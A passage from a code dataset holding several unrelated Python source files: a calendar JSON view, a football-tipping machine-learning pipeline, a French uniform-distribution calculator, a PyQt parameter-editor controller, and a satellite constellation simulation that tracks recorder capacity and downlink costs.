own.\n\n ``actions`` defines a list of actions available for the specific event.\n\n If one action is specified, it gets executed directly when event gets\n clicked.\n\n If multiple actions are specified, a dropdown menu containing the actions\n as menu items gets rendered.\n\n Action options:\n\n ``title``\n The action title as string.\n\n ``icon``\n Icon CSS class. Optional.\n\n ``target``\n Target on which the action gets executed. Target represents the URL\n of the event without trailing view name and may contain a query\n string. Optional, if skipped the default target is used.\n\n ``action``\n bdajax action definitions as dict containing:\n\n {\n 'name': 'action_name',\n 'selector': '.some_selector',\n 'mode': 'replace'\n }\n\n At least one option out of ``action``, ``event`` or ``overlay`` must\n be defined. An arbitrary combination is possible.\n\n ``event``\n bdajax event definitions as dict containing:\n\n {\n 'name': 'eventname',\n 'selector': '.some_selector'\n }\n\n At least one option out of ``action``, ``event`` or ``overlay`` must\n be defined. An arbitrary combination is possible.\n\n ``overlay``\n bdajax overlay definitions as dict containing:\n\n {\n 'action': 'action_name',\n 'selector': '#ajax-form',\n 'content_selector': '.overlay_content',\n 'css': 'additional_overlay_css_class'\n }\n\n At least one option out of ``action``, ``event`` or ``overlay`` must\n be defined. An arbitrary combination is possible.\n\n ``confirm``\n Confirmation message as string. Optional.\n \"\"\"\n raise NotImplementedError(\n 'Abstract ``CalendarEvents`` does not implement ``events``'\n )\n\n def data(self):\n events = self.events(self.range_start, self.range_end)\n for event in events:\n event['id'] = str(event['id'])\n event['start'] = format_date(event['start'])\n event['end'] = format_date(event['end'])\n return events\n\n\n@view_config(\n name='calendar_event_drop',\n # context=IScheduled,\n accept='application/json',\n renderer='json',\n permission='view')\nclass CalendarEventDrop(JSONView):\n \"\"\"JSON view for modifying event start time.\n \"\"\"\n\n def data(self):\n return 'DROPPED'\n\n\n@view_config(\n name='calendar_event_resize',\n # context=IScheduled,\n accept='application/json',\n renderer='json',\n permission='view')\nclass CalendarEventResize(JSONView):\n \"\"\"JSON view for modifying event duration.\n \"\"\"\n\n def data(self):\n return 'RESIZED'\n","repo_name":"conestack/cone.calendar","sub_path":"src/cone/calendar/browser/calendar.py","file_name":"calendar.py","file_ext":"py","file_size_in_byte":11359,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"35082726320","text":"import pandas as pd\nimport numpy as np\n\nfrom boruta import BorutaPy\n\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom sklearn import preprocessing\nfrom sklearn import svm\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import classification_report\n\ndef prepareMLData(data, test_ids_file, year_weights):\n afl_ML = data\n del data\n test_ids = pd.read_pickle(test_ids_file)\n afl_ML = afl_ML.dropna(axis = 1)\n \n train = afl_ML[~(afl_ML.fw_game_id.isin(test_ids.fw_game_id.values))]\n test = afl_ML[afl_ML.fw_game_id.isin(test_ids.fw_game_id.values)]\n \n target = 'Win'\n M_cols = ['fw_game_id', 'year', 'round_index']\n \n M_train = train[M_cols]\n M_test = test[M_cols]\n sample_weights = M_train.year.map(year_weights)\n \n Y_train = train[target]\n Y_test = test[target]\n \n M_cols.append(target)\n X_cols = [col for col in afl_ML.columns if col not in (M_cols)]\n \n X_train = train[X_cols]\n X_test = test[X_cols]\n \n train_scaler = preprocessing.StandardScaler().fit(X_train)\n X_train_scaled = train_scaler.transform(X_train)\n X_test_scaled = train_scaler.transform(X_test)\n Y_trainval = Y_train.values\n return X_test, X_test_scaled, X_train, X_train_scaled, Y_test, Y_train, Y_trainval, M_train, M_test, target, sample_weights\n\ndef selBoruta(X_test, X_test_scaled, X_train, X_train_scaled, Y_trainval):\n\n #n_jobs=-1, class_weight='balanced', max_depth=5,n_estimators='auto', verbose=2, random_state=1, rseed = 80085\n n_jobs=-1\n class_weight='balanced'\n max_depth=5\n n_estimators='auto'\n verbose=2\n random_state=1\n rseed = 80085\n # define random forest classifier, with utilising all cores and\n # sampling in proportion to y labels\n rf = RandomForestClassifier(n_jobs=n_jobs, class_weight=class_weight, max_depth=max_depth)\n \n # define Boruta feature selection method\n feat_selector = BorutaPy(rf, n_estimators=n_estimators, verbose=verbose, random_state=random_state)\n np.random.seed(rseed)\n feat_selector.fit(X_train_scaled, Y_trainval)\n \n criteria = pd.Series(feat_selector.support_)\n X_train_boruta = feat_selector.transform(X_train_scaled)\n X_train_boruta = pd.DataFrame(X_train_boruta, index = X_train.index, columns = X_train.columns[criteria].values)\n \n criteria = pd.Series(feat_selector.support_)\n X_test_boruta = feat_selector.transform(X_test_scaled)\n X_test_boruta = pd.DataFrame(X_test_boruta, index = X_test.index, columns = X_test.columns[criteria].values)\n \n return X_test_boruta, X_train_boruta\n\ndef trainSVC(X_train_boruta, Y_train, param_set, score, sample_weights):\n SVC_clf = GridSearchCV(svm.SVC(probability = True),\n param_grid = param_set,\n scoring = score,\n cv = 5,\n verbose = 3)\n SVC_clf.fit(X_train_boruta, Y_train, sample_weight = sample_weights.values)\n return SVC_clf\n\ndef trainRF(X_train_boruta, Y_train, param_set, score, sample_weights):\n RF_clf = GridSearchCV(RandomForestClassifier(),\n param_grid = param_set,\n scoring = score,\n cv = 5,\n verbose = 3)\n RF_clf.fit(X_train_boruta, Y_train, sample_weight = sample_weights.values)\n return RF_clf \n\n\ndef trainRandRF(X_train_boruta, Y_train, param_set, score, sample_weights, n_iter):\n RFrand_clf = RandomizedSearchCV(RandomForestClassifier(),\n n_iter = n_iter,\n param_distributions = param_set,\n scoring = score,\n cv = 5,\n verbose = 3)\n RFrand_clf.fit(X_train_boruta, Y_train)#, sample_weight = sample_weights.values)\n return RFrand_clf\n\n\ndef scoreMonash(classifier, X_test_data, Y_test_data):\n Y_test_probabilities = classifier.predict_proba(X_test_data)\n Y_test_probabilities = pd.DataFrame(Y_test_probabilities, index = Y_test_data.index)\n Y_test_probabilities = Y_test_probabilities.join(Y_test_data)\n Y_test_probabilities['Win']\n Y_test_probabilities['monash_score'] = ((1 + np.log2(Y_test_probabilities.iloc[:,1])) * Y_test_probabilities['Win']) + (1 + np.log2(1 - Y_test_probabilities.iloc[:,1])) * (1 - Y_test_probabilities['Win'])\n return Y_test_probabilities\n\ndef scoreOddsBenchmark(test_ids_file, data):\n test_ids = pd.read_pickle(test_ids_file)\n test = data[data.fw_game_id.isin(test_ids.fw_game_id.values)]\n return sum(test['monash_score'])\n\n\n\ndef calcStatMeans(data, mean_N ,cols):\n\n data = data.sort_values(by = ['team','game_index'],# Sort data by team and game_index for running mean\n ascending = [True, True]\n ).reset_index(drop=True)\n \n for N in mean_N:\n for col in cols:\n data = data.groupby('team').apply(newMeanCol, col_nm = col, N = N)\n return data[~(data.isna().any(axis = 1))] #Remove na created in the process\n\ndef createOddsProb_MonashScore(data):\n oppnt_odds = data[['oppnt_odds']]\n oppnt_oddsprob = 1 / (oppnt_odds + 0.000000000001)\n data['oppnt_oddsprob'] = oppnt_oddsprob\n team_odds = data[['team_odds']]\n team_oddsprob = 1 / (team_odds + 0.000000000001)\n data['team_oddsprob '] = team_oddsprob\n data['team_oddsprobwght'] = (data['team_oddsprob '] + (1 - data['oppnt_oddsprob']) ) / 2\n data['monash_scorewin'] = (1 + np.log2(pd.to_numeric(data['team_oddsprobwght']) ) ) * data['model_target']\n data['monash_scorelloss'] = (1 + np.log2(1 - pd.to_numeric(data['team_oddsprobwght']) ) ) * (1 - data['model_target'])\n data['monash_score'] = afl_DF['monash_scorewin'] + data['monash_scorelloss']\n \n return data","repo_name":"briantreg/ftip_mnsh","sub_path":"Archive/machinelearn.py","file_name":"machinelearn.py","file_ext":"py","file_size_in_byte":5651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23382977584","text":"import math\n\ndef demande_action():\n print(\"Que souhaitez-vous faire ?\")\n print(\"1. Calculer une probabilité\")\n print(\"2. Calculer une espérance\")\n print(\"3. Calculer une variance\")\n print(\"4. Calculer un écart type\")\n \n choix = input(\"Choisissez une option (1/2/3/4) : \")\n return choix\n\ndef saisir_nombre(message):\n while True:\n try:\n valeur = float(input(message))\n return valeur\n except ValueError:\n print(\"Veuillez entrer un nombre valide.\")\n\ndef calcul_probabilite():\n a = saisir_nombre(\"Entrez la borne inférieure (a) : \")\n b = saisir_nombre(\"Entrez la borne supérieure (b) : \")\n x = saisir_nombre(\"Entrez la valeur de x : \")\n \n if a <= x <= b:\n probabilite = 1 / (b - a)\n print(f\"La probabilité P({a} ≤ X ≤ {b}) est : {probabilite}\")\n else:\n print(\"La valeur x doit être comprise entre a et b.\")\n\ndef calcul_esperance():\n a = saisir_nombre(\"Entrez la borne inférieure (a) : \")\n b = saisir_nombre(\"Entrez la borne supérieure (b) : \")\n \n esperance = (a + b) / 2\n print(f\"L'espérance de la distribution est : {esperance}\")\n\ndef calcul_variance():\n a = saisir_nombre(\"Entrez la borne inférieure (a) : \")\n b = saisir_nombre(\"Entrez la borne supérieure (b) : \")\n \n variance = ((b - a) ** 2) / 12\n print(f\"La variance de la distribution est : {variance}\")\n\ndef calcul_ecart_type():\n a = saisir_nombre(\"Entrez la borne inférieure (a) : \")\n b = saisir_nombre(\"Entrez la borne supérieure (b) : \")\n \n ecart_type = math.sqrt(((b - a) ** 2) / 12)\n print(f\"L'écart type de la distribution est : {ecart_type}\")\n\ndef main():\n while True:\n action = demande_action()\n \n if action == '1':\n calcul_probabilite()\n elif action == '2':\n calcul_esperance()\n elif action == '3':\n calcul_variance()\n elif action == '4':\n calcul_ecart_type()\n else:\n print(\"Option invalide. Veuillez choisir une option valide (1/2/3/4).\")\n \n continuer = input(\"Voulez-vous effectuer une autre opération ? (oui/non) : \")\n if continuer.lower() != 'oui':\n break\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"heritsilavo/projet_python","sub_path":"scripts/uniforme.py","file_name":"uniforme.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33402689584","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport time\nimport numpy as np\nimport sys\nimport copy\nfrom PyQt5.QtWidgets import *\n\nfrom widgets.para_edit_area_view import ParaEditAreaView\nfrom widgets.para_edit_widget_ import EditWidget_\n\n# from config.label_type import label_csv_dic\nfrom manager.global_manager import global_manager\nfrom utils.pub import *\n\n\nclass ParaEditAreaController(object):\n def __init__(self, view=None, model=None, *args, **kwargs):\n super(ParaEditAreaController, self).__init__()\n if view is not None:\n self._view = view\n else:\n self._view = ParaEditAreaView()\n try:\n self.init_view()\n\n self.reload_widget()\n pass\n except Exception as e:\n print(e)\n\n def init_view(self):\n \"\"\"\n 在原有视图基础上进行编辑\n :return:\n \"\"\"\n _map_dic = copy.deepcopy(global_manager.label_csv_dic)\n\n for k in [\"cen_x\", \"cen_y\", \"cen_z\", \"angle\", \"length\", \"width\", \"height\"]:\n dic_pop(_map_dic, k)\n\n # 创建属性列表\n self.wid_list = []\n\n for k, v in _map_dic.items():\n label = v[\"ch\"]\n if isinstance(v[\"val\"], dict):\n mode = 'QComboBox'\n ew = EditWidget_(label, mode, parent=self._view.wid_) # 加上parent 按钮显示正常\n strlist = []\n datalist = []\n colorlist = []\n for a, b in v[\"val\"].items(): # 1: {\"des\": \"普通道路\", \"rgb\": (10, 240, 10)},\n strlist.append(\"%d - %s\" % (a, b[\"name\"]))\n datalist.append(a)\n if \"color\" in b:\n colorlist.append(b[\"color\"])\n ew.set_combo_attr(strlist, datalist, colorlist)\n\n elif isinstance(v[\"val\"], (int, float)):\n mode = \"QLineEdit\"\n ew = EditWidget_(label, mode, parent=self._view.wid_) # 加上parent 按钮显示正常\n ew.set_lineedit_number()\n\n else:\n mode = \"QLineEdit\"\n ew = EditWidget_(label, mode, parent=self._view.wid_) # 加上parent 按钮显示正常\n ew.set_lineedit_number()\n\n ew.set_user_data(k) # 把当前项在txt所属列号,保存下来。\n self.wid_list.append(ew)\n\n for wid in self.wid_list:\n self._view.vbox.addWidget(wid)\n\n def __init_connect(self):\n\n pass\n\n def set_view(self, view):\n if isinstance(view, ParaEditAreaView):\n self._view = view\n\n def get_view(self):\n return self._view\n\n def set_model(self, model):\n pass\n\n def set_edit_value(self, name, val):\n for ew in self.wid_list:\n if ew.get_user_data() == name:\n ew.set_value(val)\n break\n\n def reload_widget(self):\n \"\"\"\n 重新装填控件\n :return:\n \"\"\"\n\n for wid in self.wid_list:\n self._view.vbox.removeWidget(wid)\n wid.setParent(None)\n wid.destroy()\n self.init_view()\n\n\n\n\n def run(self):\n self._app = QApplication(sys.argv)\n self._view.show()\n return self._app.exec_()\n\n def show(self):\n self._view.show()\n\n\n# if __name__ == \"__main__\":\n# v = ParaEditAreaView()\n# c = ParaEditAreaController(v)\n# # c.run()\n\n\nif __name__ == \"__main__\":\n import sys\n\n app = QApplication(sys.argv)\n _view = ParaEditAreaView()\n c = ParaEditAreaController(_view)\n c.show()\n sys.exit(app.exec_())\n","repo_name":"fengzhengxiong/wj_label","sub_path":"control/para_edit_area_controller.py","file_name":"para_edit_area_controller.py","file_ext":"py","file_size_in_byte":3619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17585965637","text":"# -*- coding: utf-8 -*-\n\"\"\"\n *This application demonstrates a constellation of satellites with continuous data collection and is used to track the state of each satellite's solid-state recorder while its orbital position is propagated from Two-Line Elements (TLEs)*\n\n The application contains one :obj:`Constellation` (:obj:`Entity`) object class and one :obj:`PositionPublisher` (:obj:`WallclockTimeIntervalPublisher`). The application also contains two global methods outside of these classes, which contain standardized calculations sourced from Ch. 5 of *Space Mission Analysis and Design* by Wertz and Larson.\n \n *NOTE:* For example code demonstrating how the constellation application is started up and how the :obj:`Constellation` :obj:`Entity` object class is initialized and added to the simulator, see the FireSat+ example.\n\n\"\"\"\n\nimport logging\nfrom datetime import datetime, timezone, timedelta\nfrom dotenv import dotenv_values\n# import numpy as np\nimport pandas as pd # type: ignore\n# import copy\n# import matplotlib.pyplot as plt\n# import matplotlib.patches as mpatches\n# import seaborn as sns\n\n# from scipy import stats\n\n# import time\n\nfrom nost_tools.application_utils import ConnectionConfig, ShutDownObserver # type: ignore\nfrom nost_tools.entity import Entity # type: ignore\n# from nost_tools.observer import Observer\nfrom nost_tools.managed_application import ManagedApplication # type: ignore\nfrom nost_tools.publisher import WallclockTimeIntervalPublisher # type: ignore\n\nfrom skyfield.api import load, wgs84, EarthSatellite # type: ignore\n\nfrom constellation_config_files.schemas import (\n SatelliteReady,\n SatelliteAllReady,\n SatelliteStatus,\n GroundLocation,\n LinkStart,\n LinkCharge,\n OutageReport,\n OutageRestore\n)\nfrom constellation_config_files.config import (\n PREFIX,\n NAME,\n SCALE,\n # TLES,\n SSR_CAPACITY,\n CAPACITY_USED,\n INSTRUMENT_RATES,\n COST_MODE,\n FIXED_RATES\n)\n\nlogging.basicConfig(level=logging.INFO)\n\ndef get_elevation_angle(t, sat, loc):\n \"\"\"\n Returns the elevation angle (degrees) of satellite with respect to the topocentric horizon\n\n Args:\n t (:obj:`Time`): Time object of skyfield.timelib module\n sat (:obj:`EarthSatellite`): Skyview EarthSatellite object from skyfield.sgp4lib module\n loc (:obj:`GeographicPosition`): Geographic location on surface specified by latitude-longitude from skyfield.toposlib module\n\n Returns:\n float : alt.degrees\n Elevation angle (degrees) of satellite with respect to the topocentric horizon\n \"\"\"\n difference = sat - loc\n topocentric = difference.at(t)\n # NOTE: Topos uses term altitude for what we are referring to as elevation\n alt, az, distance = topocentric.altaz()\n return alt.degrees\n\ndef check_in_range(t, satellite, grounds):\n \"\"\"\n Checks if the satellite is in range of any of the operational ground stations\n\n Args:\n t (:obj:`Time`): Time object of skyfield.timelib module\n satellite (:obj:`EarthSatellite`): Skyview EarthSatellite object from skyfield.sgp4lib module\n grounds (:obj:`DataFrame`): Dataframe of ground station locations, minimum elevation angles for communication, and operational status (T/F)\n\n Returns:\n bool, int :\n isInRange\n True/False indicating visibility of satellite to any operational ground station\n groundId\n groundId of the ground station currently in comm range (NOTE: If in range of two ground stations simultaneously, will return first groundId)\n \"\"\"\n isInRange = False\n groundId = None\n for k, ground in grounds.iterrows():\n if ground.operational:\n groundLatLon = wgs84.latlon(ground.latitude, ground.longitude)\n satelliteElevation = get_elevation_angle(t, satellite, groundLatLon)\n if satelliteElevation >= ground.elevAngle:\n isInRange = True\n groundId = k\n break\n return isInRange, groundId\n\n\n# define an entity to manage satellite updates\nclass Constellation(Entity):\n \"\"\"\n *This object class inherits properties from the Entity object class in the NOS-T tools library*\n\n Args:\n cName (str): A string containing the name for the constellation application\n app (:obj:`ManagedApplication`): An application containing a test-run namespace, a name and description for the app, client credentials, and simulation timing instructions\n id (:obj:`list`): List of unique *int* ids for each satellite in the constellation\n names (:obj:`list`): List of unique *str* for each satellite in the constellation (must be same length as **id**)\n ES (:obj:`list`): Optional list of :obj:`EarthSatellite` objects to be included in the constellation (NOTE: at least one of **ES** or **tles** MUST be specified, or an exception will be thrown)\n tles (:obj:`list`): Optional list of Two-Line Element *str* to be converted into :obj:`EarthSatellite` objects and included in the simulation\n\n Attributes:\n groundTimes (:obj:`dict`): Dictionary with keys corresponding to unique satellite name and values corresponding to sequential list of ground access opportunities - *NOTE:* each value is initialized as an empty **:obj:`list`** and opportunities are appended chronologically\n grounds (:obj:`DataFrame`): Dataframe containing information about ground stations with unique groundId (*int*), latitude-longitude location (:obj:`GeographicPosition`), min_elevation (*float*) angle constraints, and operational status (*bool*) - *NOTE:* initialized as **None**\n satellites (:obj:`list`): List of :obj:`EarthSatellite` objects included in the constellation - *NOTE:* must be same length as **id**\n positions (:obj:`list`): List of current latitude-longitude-altitude locations (:obj:`GeographicPosition`) of each satellite in the constellation - *NOTE:* must be same length as **id**\n next_positions (:obj:`list`): List of next latitude-longitude-altitude locations (:obj:`GeographicPosition`) of each satellite in the constellation - *NOTE:* must be same length as **id**\n ssr_capacity (:obj:`list`): List of **fixed** Solid-State Recorder (SSR) capacities in Gigabits (*int*) for each satellite in the constellation - *NOTE:* must be same length as **id**\n capacity_used (:obj:`list`): list of values (*float*) representing current fraction of SSR capacity used for each satellite in the constellation, continuously updated through simulation - *NOTE:* must be same length as **id**\n instrument_rates (:obj:`list`): list of **fixed** instrument data collection rates in Gigabits/second (*float*) for each satellite in the constellation - *NOTE:* must be same length as **id**\n cost_mode (:obj:`list`): list of *str* representing one of three cost modes used to update cumulative costs: :obj:`discrete` (per downlink), :obj:`continuous` (fixed contract), or :obj:`both` - *NOTE:* must be same length as **id**\n fixed_rates (:obj:`list`): list of **fixed** rates of cost accumulation in dollars/second for :obj:`continuous` cost_mode for each satellite in the constellation - *NOTE:* must be same length as **id**, but ignored if cost_mode for corresponding satellite is :obj:`discrete`\n linkCounts (:obj:`list`): list of cumulative counts of link opportunies (*int*) for each satellite in the constellation - *NOTE:* must be same length as **id**, initialized as list of zeros\n linkStatus (:obj:`list`): list of states (*bool*) indicating whether or not each satellite in the constellation is currently in view of an available ground station - *NOTE:* must be same length as **id**, each satellite state initialized as :obj:`False`\n cumulativeCostBySat (:obj:`dict`): Dictionary with keys corresponding to unique satellite name and values corresponding to current cumulative costs in dollars (*float*) accrued by each satellite in the constellation, continuously updated throughout the simulation - *NOTE:* must be same length as **id**, each satellite cost initialized as zero dollars\n cumulativeCosts (float): Sum of values in cumulativeCostBySat in dollars, continuously updated throughout the simulation\n\n \"\"\"\n\n ts = load.timescale()\n PROPERTY_POSITION = \"position\"\n PROPERTY_LINKCHARGE = \"linkCharge\"\n\n def __init__(self, cName, app, id, names, ES=None, tles=None):\n super().__init__(cName)\n self.app = app\n self.id = id\n self.names = names\n self.groundTimes = {j:[] for j in self.names}\n self.grounds = None\n self.satellites = []\n if ES is not None:\n for satellite in ES:\n self.satellites.append(satellite)\n if tles is not None:\n for i, tle in enumerate(tles):\n self.satellites.append(\n EarthSatellite(tle[0], tle[1], self.names[i], self.ts)\n )\n self.positions = self.next_positions = [None for satellite in self.satellites]\n self.ssr_capacity = SSR_CAPACITY # in Gigabits\n self.capacity_used = CAPACITY_USED # fraction from 0 to 1\n self.instrument_rates = INSTRUMENT_RATES # in Gigabits/second\n self.cost_mode = COST_MODE\n self.fixed_rates = FIXED_RATES\n self.linkCounts = [0 for satellite in self.satellites]\n self.linkStatus = [False for satellite in self.satellites]\n self.cumulativeCostBySat = {l:0.00 for l in self.names}\n self.cumulativeCosts = 0.00\n\n def initialize(self, init_time):\n \"\"\"\n Activates the :obj:`Constellation` at a specified initial scenario time\n\n Args:\n init_time (:obj:`datetime`): Initial scenario time for simulating propagation of satellites\n \"\"\"\n super().initialize(init_time)\n self.grounds = pd.DataFrame(\n {\n \"groundId\": pd.Series([], dtype=\"int\"),\n \"latitude\": pd.Series([], dtype=\"float\"),\n \"longitude\": pd.Series([], dtype=\"float\"),\n \"elevAngle\": pd.Series([], dtype=\"float\"),\n \"operational\": pd.Series([], dtype=\"bool\"),\n \"downlinkRate\": pd.Series([], dtype=\"float\"),\n \"costPerSecond\": pd.Series([], dtype=\"float\"),\n \"costMode\": pd.Series([], dtype=\"str\")\n }\n )\n self.positions = self.next_positions = [\n wgs84.subpoint(satellite.at(self.ts.from_datetime(init_time)))\n for satellite in self.satellites\n ]\n\n for i, satellite in enumerate(self.satellites):\n\n self.app.send_message(\n \"ready\",\n SatelliteReady(\n id=self.id[i],\n name=self.names[i],\n ssr_capacity=self.ssr_capacity[i]\n ).json()\n )\n self.app.send_message(\"allReady\", SatelliteAllReady().json())\n\n def tick(self, time_step):\n \"\"\"\n Computes the next :obj:`Constellation` state after the specified scenario duration and the next simulation scenario time\n\n Args:\n time_step (:obj:`timedelta`): Duration between current and next simulation scenario time\n \"\"\"\n # tik = time.time()\n super().tick(time_step)\n self.next_positions = [\n wgs84.subpoint(\n satellite.at(self.ts.from_datetime(self.get_time() + time_step))\n )\n for satellite in self.satellites\n ]\n for i, satellite in enumerate(self.satellites):\n then = self.ts.from_datetime(self.get_time() + time_step)\n isInRange, groundId = check_in_range(then, satellite, self.grounds)\n self.capacity_used[i] = self.capacity_used[i] + ((self.instrument_rates[i]*time_step.total_seconds())/self.ssr_capacity[i])\n if self.cost_mode[i] == \"continuous\" or self.cost_mode[i] == \"both\":\n self.cumulativeCostBySat[self.names[i]] = self.cumulativeCostBySat[self.names[i]] + self.fixed_rates[i]*time_step.total_seconds()\n self.cumulativeCosts = self.cumulativeCosts + self.fixed_rates[i]*time_step.total_seconds()\n if isInRange:\n if not self.linkStatus[i]:\n self.linkStatus[i] = True\n self.linkCounts[i] = self.linkCounts[i] + 1\n else:\n if self.linkStatus[i]:\n self.linkStatus[i] = False\n\n def tock(self):\n \"\"\"\n Commits the next :obj:`Constellation` state and advances simulation scenario time\n\n \"\"\"\n # tik = time.time()\n self.positions = self.next_positions\n super().tock()\n for i, satellite in enumerate(self.satellites):\n if self.cost_mode[i] == \"continuous\" or self.cost_mode[i] == \"both\":\n self.app.send_message(\n \"linkCharge\",\n LinkCharge(\n groundId = 100,\n satId = self.id[i],\n satName = self.names[i],\n linkId = 0,\n end = self.get_time(),\n duration = 0,\n dataOffload = 0,\n downlinkCost = 0,\n cumulativeCostBySat = self.cumulativeCostBySat[self.names[i]],\n cumulativeCosts = self.cumulativeCosts\n ).json()\n )\n\n def on_ground(self, client, userdata, message):\n \"\"\"\n Callback function appends a dictionary of information for a new ground station to grounds :obj:`list` when message detected on the *PREFIX/ground/location* topic. Ground station information is published at beginning of simulation, and the :obj:`list` is converted to a :obj:`DataFrame` when the Constellation is initialized.\n\n Args:\n client (:obj:`MQTT Client`): Client that connects application to the event broker using the MQTT protocol. Includes user credentials, tls certificates, and host server-port information.\n userdata: User defined data of any type (not currently used)\n message (:obj:`message`): Contains *topic* the client subscribed to and *payload* message content as attributes\n\n \"\"\"\n location = GroundLocation.parse_raw(message.payload)\n if location.groundId in self.grounds.groundId:\n self.grounds[\n self.grounds.groundId == location.groundId\n ].latitude = location.latitude\n self.grounds[\n self.grounds.groundId == location.groundId\n ].longitude = location.longitude\n self.grounds[\n self.grounds.groundId == location.groundId\n ].elevAngle = location.elevAngle\n self.grounds[\n self.grounds.groundId == location.groundId\n ].operational = location.operational\n self.grounds[\n self.grounds.groundId == location.groundId\n ].downlinkRate = location.downlinkRate\n self.grounds[\n self.grounds.groundId == location.groundId\n ].costPerSecond = location.costPerSecond\n print(f\"Station {location.groundId} updated at time {self.get_time()}.\")\n else:\n self.grounds = self.grounds.append(\n {\n \"groundId\": location.groundId,\n \"latitude\": location.latitude,\n \"longitude\": location.longitude,\n \"elevAngle\": location.elevAngle,\n \"operational\": location.operational,\n \"downlinkRate\": location.downlinkRate,\n \"costPerSecond\": location.costPerSecond,\n \"costMode\": location.costMode\n },\n ignore_index=True,\n )\n print(f\"Station {location.groundId} registered at time {self.get_time()}.\")\n\n def on_linkStart(self, client, userdata, message):\n \"\"\"\n Callback function when message detected on the *PREFIX/ground/linkStart* topic.\n\n Args:\n client (:obj:`MQTT Client`): Client that connects application to the event broker using the MQTT protocol. Includes user credentials, tls certificates, and host server-port information.\n userdata: User defined data of any type (not currently used)\n message (:obj:`message`): Contains *topic* the client subscribed to and *payload* message content as attributes\n\n \"\"\"\n downlinkStart = LinkStart.parse_raw(message.payload)\n print(downlinkStart)\n if downlinkStart.groundId != -1:\n self.groundTimes[downlinkStart.satName].append(\n {\n \"groundId\":downlinkStart.groundId,\n \"satId\":downlinkStart.satId,\n \"satName\":downlinkStart.satName,\n \"linkId\":downlinkStart.linkId,\n \"start\":downlinkStart.start,\n \"end\":None,\n \"duration\":None,\n \"initialData\": downlinkStart.data,\n \"dataOffload\":None,\n \"downlinkCost\":None\n },\n )\n\n def on_linkCharge(self, client, userdata, message):\n \"\"\"\n Callback function when message detected on the *PREFIX/ground/linkCharge* topic.\n\n Args:\n client (:obj:`MQTT Client`): Client that connects application to the event broker using the MQTT protocol. Includes user credentials, tls certificates, and host server-port information.\n userdata: User defined data of any type (not currently used)\n message (:obj:`message`): Contains *topic* the client subscribed to and *payload* message content as attributes\n\n \"\"\"\n downlinkCharge = LinkCharge.parse_raw(message.payload)\n print(downlinkCharge)\n if downlinkCharge.groundId != -1:\n self.groundTimes[downlinkCharge.satName][downlinkCharge.linkId][\"end\"] = downlinkCharge.end\n self.groundTimes[downlinkCharge.satName][downlinkCharge.linkId][\"duration\"] = downlinkCharge.duration\n self.groundTimes[downlinkCharge.satName][downlinkCharge.linkId][\"dataOffload\"] = downlinkCharge.dataOffload\n self.groundTimes[downlinkCharge.satName][downlinkCharge.linkId][\"downlinkCost\"] = downlinkCharge.downlinkCost\n self.capacity_used[downlinkCharge.satId] = self.capacity_used[downlinkCharge.satId] - (downlinkCharge.dataOffload / self.ssr_capacity[downlinkCharge.satId])\n if self.capacity_used[downlinkCharge.satId] < 0:\n self.capacity_used[downlinkCharge.satId] = 0\n self.cumulativeCostBySat[downlinkCharge.satName] = self.cumulativeCostBySat[downlinkCharge.satName] + downlinkCharge.downlinkCost\n self.cumulativeCosts = self.cumulativeCosts + downlinkCharge.downlinkCost\n \n def on_outage(self, client, userdata, message):\n \"\"\"\n Callback function when message detected on the *PREFIX/outage/report* topic.\n \n Args:\n client (:obj:`MQTT Client`): Client that connects application to the event broker using the MQTT protocol. Includes user credentials, tls certificates, and host server-port information.\n userdata: User defined data of any type (not currently used)\n message (:obj:`message`): Contains *topic* the client subscribed to and *payload* message content as attributes\n \n \"\"\"\n outageReport = OutageReport.parse_raw(message.payload)\n self.grounds[\"operational\"][outageReport.groundId] = False\n if outageReport.groundId == 11:\n for c, mode in enumerate(self.cost_mode):\n self.cost_mode[c] = \"discrete\"\n \n def on_restore(self, client, userdata, message):\n \"\"\"\n Callback function when message detected on the *PREFIX/outage/restore* topic.\n \n Args:\n client (:obj:`MQTT Client`): Client that connects application to the event broker using the MQTT protocol. Includes user credentials, tls certificates, and host server-port information.\n userdata: User defined data of any type (not currently used)\n message (:obj:`message`): Contains *topic* the client subscribed to and *payload* message content as attributes\n \n \"\"\"\n outageRestore = OutageRestore.parse_raw(message.payload)\n self.grounds[\"operational\"][outageRestore.groundId] = True\n if outageRestore.groundId == 11:\n for c, mode in enumerate(self.cost_mode):\n self.cost_mode[c] = \"both\"\n \n\n# define a publisher to report satellite status\nclass PositionPublisher(WallclockTimeIntervalPublisher):\n \"\"\"\n *This object class inherits properties from the WallclockTimeIntervalPublisher object class from the publisher template in the NOS-T tools library*\n\n The user can optionally specify the wallclock :obj:`timedelta` between message publications and the scenario :obj:`datetime` when the first of these messages should be published.\n\n Args:\n app (:obj:`ManagedApplication`): An application containing a test-run namespace, a name and description for the app, client credentials, and simulation timing instructions\n constellation (:obj:`Constellation`): Constellation :obj:`Entity` object class\n time_status_step (:obj:`timedelta`): Optional duration between time status 'heartbeat' messages\n time_status_init (:obj:`datetime`): Optional scenario :obj:`datetime` for publishing the first time status 'heartbeat' message\n\n \"\"\"\n\n def __init__(\n self, app, constellation, time_status_step=None, time_status_init=None\n ):\n super().__init__(app, time_status_step, time_status_init)\n self.constellation = constellation\n self.isInRange = [\n False for i, satellite in enumerate(self.constellation.satellites)\n ]\n\n def publish_message(self):\n \"\"\"\n *Abstract publish_message method inherited from the WallclockTimeIntervalPublisher object class from the publisher template in the NOS-T tools library*\n\n This method sends a message to the *PREFIX/constellation/location* topic for each satellite in the constellation (:obj:`Constellation`), which includes:\n\n Args:\n id (int): Unique id for satellite in constellation\n name (str): Unique *str* name for satellite in constellation\n latitude (:obj:`confloat`): Latitude in degrees for satellite in constellation at current scenario time\n longitude (:obj:`confloat`): Longitude in degrees for satellite in constellation at current scenario time\n altitude (float): Altitude above sea-level in meters for satellite in constellation at current scenario time\n capacity_used 